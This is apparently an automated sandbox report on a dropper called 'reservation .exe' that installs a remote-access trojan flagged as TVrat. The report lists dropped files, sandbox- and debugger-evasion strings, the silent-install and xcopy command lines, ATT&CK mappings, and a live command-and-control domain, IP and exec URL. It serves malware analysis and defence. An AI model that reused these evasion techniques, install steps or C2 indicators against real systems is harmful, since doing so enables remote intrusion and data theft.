Source: C:\Users\user\AppData\Roaming\fat\ast.exe	RDTSC instruction interceptor: First address: 69B29A second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F99D0E0B076h 0x00000006 sub eax, ebx 0x00000008 cmp eax, dword ptr [ebp-04h] 0x0000000b jnle 00007F99D0E0B085h 0x0000000d dec ecx 0x0000000e jne 00007F99D0E0B069h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	RDTSC instruction interceptor: First address: 69B29A second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F99D0E0B076h 0x00000006 sub eax, ebx 0x00000008 cmp eax, dword ptr [ebp-04h] 0x0000000b jnle 00007F99D0E0B085h 0x0000000d mov dword ptr [ebp-04h], eax 0x00000010 dec ecx 0x00000011 jne 00007F99D0E0B069h 0x00000013 rdtsc

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Window / User API: threadDelayed 1296

Jump to behavior

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_10-21028

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\opus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-PO10S.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\astrct.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\libjpeg-turbo-win.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\aw_sas32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\libjpeg-turbo-win.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-PDQGE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-SJ8AI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-8MMT6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\opus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\astclient.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-BI7PN.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\libcryptoMD.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\libcurl.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\aw_sas32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-HE32K.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\hatls.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\libcryptoMD.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\libcurl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\astrct.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-K402A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\hatls.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\msvcr120.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\fat\libeay32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-RFQHO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-BFIN6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-OUNKJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-9MCCS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\astclient.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-MGO66.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-SSL54.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qilq\is-26KIS.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Thread sleep count: Count: 1296 delay: -10

Jump to behavior

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 11_2_070641D8 lstrcat,FindFirstFileA,lstrcat,FindNextFileA,FindClose,

11_2_070641D8

Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: VMware
Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: VBoxService.exe
Source: reservation .tmp, 00000002.00000002.2048762588.000000000082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: reservation .tmp, 00000002.00000002.2048762588.000000000082D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\{
Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: VMWare
Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: VBoxService.exeU
Source: ast.exe, 0000000A.00000002.3306161257.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2871829583.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ast.exe, 0000000C.00000002.2954858422.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}

Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 10_2_6B71EFE1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_6B71EFE1

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

10_2_6B6FAE50

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B71C43E mov eax, dword ptr fs:[00000030h]		10_2_6B71C43E
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B721C01 mov eax, dword ptr fs:[00000030h]		10_2_6B721C01

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B71EFE1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		10_2_6B71EFE1
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B70DC3A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		10_2_6B70DC3A

Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process created: C:\Users\user\Desktop\reservation .exe "C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\qilq\*" "C:\Users\user\AppData\Roaming\fat\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\fat\ast.exe "C:\Users\user\AppData\Roaming\fat\ast.exe"	Jump to behavior

Source: C:\Users\user\Desktop\reservation .exe	Process created: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp "c:\users\user\appdata\local\temp\is-4sm5o.tmp\reservation .tmp" /sl5="$2046a,7120736,816128,c:\users\user\desktop\reservation .exe" /verysilent /password=84t66giu
Source: C:\Users\user\Desktop\reservation .exe	Process created: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp "c:\users\user\appdata\local\temp\is-4sm5o.tmp\reservation .tmp" /sl5="$2046a,7120736,816128,c:\users\user\desktop\reservation .exe" /verysilent /password=84t66giu			Jump to behavior

Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWndSVW
Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWnd
Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SVW
Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndSV

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 10_2_6B71FBD1 GetSystemTimeAsFileTime,

10_2_6B71FBD1

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ast.exe, 0000000B.00000003.2864608852.0000000007062000.00000040.00000001.01000000.0000000E.sdmp

Binary or memory string: PROCEXP.EXE

Stealing of Sensitive Information

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 3380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\fat\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, type: DROPPED

Remote Access Functionality

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 3380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\fat\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, type: DROPPED

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6F6D50 socket,socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,curl_msnprintf,send,recv,closesocket,closesocket,closesocket,closesocket,closesocket,	10_2_6B6F6D50
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6C39A0 curl_pushheader_bynum,inet_pton,htons,inet_pton,htons,htons,htons,bind,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	10_2_6B6C39A0
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6CEEA0 ___from_strstr_to_strchr,_strncpy,___from_strstr_to_strchr,inet_pton,_strncpy,___from_strstr_to_strchr,___from_strstr_to_strchr,curl_pushheader_bynum,getsockname,WSAGetLastError,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,htons,curl_msnprintf,curl_easy_strerror,curl_easy_strerror,	10_2_6B6CEEA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Process Injection	13 Obfuscated Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	113 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	331 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Masquerading	LSA Secrets	22 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	22 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
reservation .exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\AstCrp.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\ast.exe (copy)	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\astclient.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\astrct.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\aw_sas32.dll (copy)	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\hatls.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-26KIS.tmp	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-8MMT6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-9MCCS.tmp	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-BFIN6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-BI7PN.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-HE32K.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-K402A.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-MGO66.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-OUNKJ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-PDQGE.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-RFQHO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-SJ8AI.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\is-SSL54.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\libcrypto-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\libcryptoMD.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\libcurl.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\libeay32.dll (copy)	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\libjpeg-turbo-win.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\libssl-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\msvcr120.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\qilq\opus.dll (copy)	0%	ReversingLabs

Source	Detection	Scanner	Label
https://id.xn--80akicokc0aablc.xn--p1ai:4439c0	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aai	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443g	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiheGu	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:44335-	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443lnJm&	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aie03	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443lnd	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiexe03	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai4j1	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aifgGu	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aim;	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443-	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aierW	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiget	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443ln	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ait.exeje	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:44335y	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aigiGu	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443lnmm	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typesy	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typesw	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiZ	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ait.exe	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443dm	0%	Avira URL Cloud	safe
http://jrsoftware.github.io/issrc/ISHelp/isxfunc.xml	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443...43	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aid003	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typesbcrypt	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ainkEx	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aid	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aii	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aie	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai3	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443gD	0%	Avira URL Cloud	safe
http://solicecare.website/de37/update.phph?	0%	Avira URL Cloud	safe
https://id.xn--8X	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443gE	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aa	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443gW	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai.dllC;1	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/TypesE	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai.dllM	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443gK	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443g=	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443mm	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443ata	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai.dllI	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typesn	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typesu	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai)	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443lnw#	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443...	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443g1	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai00	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443lndm	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aieY	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:44335...	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aidll	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443...4335AW	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aidllm	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443gh	0%	Avira URL Cloud	safe
https://id.xn-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
id.xn--80akicokc0aablc.xn--p1ai	212.193.169.65	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://id.xn--80akicokc0aablc.xn--p1ai:4439c0	ast.exe, 0000000A.00000003.3299966293.0000000005C3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	reservation .exe	false		high
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	false		high
https://id.xn--80akicokc0aai	ast.exe, 0000000A.00000003.3183555638.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443g	ast.exe, 0000000A.00000003.2784033119.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2807629713.0000000005C27000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443lnd	ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aiheGu	ast.exe, 0000000A.00000002.3325486557.0000000007E9D000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r	reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.indyproject.org/	ast.exe, 0000000C.00000003.2953257211.0000000002DDD000.00000004.00001000.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1aie03	ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
